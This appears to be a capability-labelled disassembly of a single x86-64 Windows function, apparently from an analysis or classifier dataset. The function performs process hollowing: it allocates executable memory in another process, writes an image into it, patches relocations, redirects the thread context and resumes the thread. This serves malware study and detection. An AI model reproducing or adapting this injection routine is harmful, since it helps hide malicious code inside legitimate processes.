Function at 0x14012a6de
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
jmp 0x1401a2ac0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x15e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x808]
mov rax, qword [0x140d145c0]
xor rax, rbp
mov qword [rbp + 0x7a8], rax
lea rcx, [0x140d4a13f]
call fcn.140131470
nop
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1401a2b6c
xor eax, eax
jmp 0x1401a2f8a
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x34]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x48]
mov ecx, dword [rbp + 8]
mov dword [rax + 0x34], ecx
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x7d8]
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x1401a2bce
xor eax, eax
jmp 0x1401a2f8a
mov rcx, qword [rbp + 0x7d8]
call fcn.14012e784
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xc8], 0
mov dword [rbp + 0xe4], 0
jmp 0x1401a2c06
mov eax, dword [rbp + 0xe4]
inc eax
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x48]
movzx eax, word [rax + 6]
cmp dword [rbp + 0xe4], eax
jge 0x1401a2ceb
mov rax, qword [rbp + 0x48]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x48]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rbp + 0xe4]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0xc]
cmp dword [rbp + 0xa8], eax
jb 0x1401a2c7c
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0xc]
mov rcx, qword [rbp + 0x108]
add eax, dword [rcx + 8]
cmp dword [rbp + 0xa8], eax
jae 0x1401a2c7c
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x108]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x7d8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x108]
mov edx, dword [rdx + 0xc]
mov r8, qword [rbp + 8]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
jne 0x1401a2ce6
xor eax, eax
jmp 0x1401a2f8a
jmp 0x1401a2bf8
cmp qword [rbp + 0xc8], 0
jne 0x1401a2cfc
xor eax, eax
jmp 0x1401a2f8a
mov dword [rbp + 0x144], 0
mov eax, dword [rbp + 0xac]
cmp dword [rbp + 0x144], eax
jae 0x1401a2ea3
mov rax, qword [rbp + 0xc8]
mov eax, dword [rax + 0x14]
mov rcx, qword [rbp + 0x7d8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x144]
add rax, rcx
mov qword [rbp + 0x168], rax
mov eax, dword [rbp + 0x144]
add rax, 8
mov dword [rbp + 0x144], eax
mov rax, qword [rbp + 0x168]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rbp + 0x184], eax
mov dword [rbp + 0x1a4], 0
jmp 0x1401a2d87
mov eax, dword [rbp + 0x1a4]
inc eax
mov dword [rbp + 0x1a4], eax
mov eax, dword [rbp + 0x184]
cmp dword [rbp + 0x1a4], eax
jae 0x1401a2e9e
mov rax, qword [rbp + 0xc8]
mov eax, dword [rax + 0x14]
mov rcx, qword [rbp + 0x7d8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x144]
add rax, rcx
mov qword [rbp + 0x1c8], rax
mov eax, dword [rbp + 0x144]
add rax, 2
mov dword [rbp + 0x144], eax
mov rax, qword [rbp + 0x1c8]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
jne 0x1401a2deb
jmp 0x1401a2d79
mov rax, qword [rbp + 0x168]
mov eax, dword [rax]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov ecx, 0xfff
mov rdx, qword [rbp + 0x1c8]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
add rax, rcx
mov qword [rbp + 0x1e8], rax
mov dword [rbp + 0x204], 0
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x204]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
nop
mov eax, dword [rbp + 0x64]
mov ecx, dword [rbp + 0x204]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x204], eax
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x204]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
jmp 0x1401a2d79
jmp 0x1401a2d06
lea rax, [rbp + 0x230]
mov rdi, rax
xor eax, eax
mov ecx, 0x2cc
rep stosb byte [rdi], al
mov dword [rbp + 0x230], 0x10000b
lea rdx, [rbp + 0x230]
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov dword [rbp + 0x514], eax
cmp dword [rbp + 0x514], 0
jne 0x1401a2eee
xor eax, eax
jmp 0x1401a2f8a
mov eax, dword [rbp + 0x2d4]
add rax, 8
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 8]
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x534], eax
cmp dword [rbp + 0x534], 0
jne 0x1401a2f31
xor eax, eax
jmp 0x1401a2f8a
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov dword [rbp + 0x2e0], eax
lea rdx, [rbp + 0x230]
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
mov dword [rbp + 0x554], eax
cmp dword [rbp + 0x554], 0
jne 0x1401a2f73
xor eax, eax
jmp 0x1401a2f8a
mov rax, qword [rbp + 0x7d0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1403a3f10]
call fcn.14012fad5
mov rax, rdi
mov rcx, qword [rbp + 0x7a8]
xor rcx, rbp
call fcn.14012c6c3
lea rsp, [rbp + 0x7b8]
pop rdi
pop rbp
ret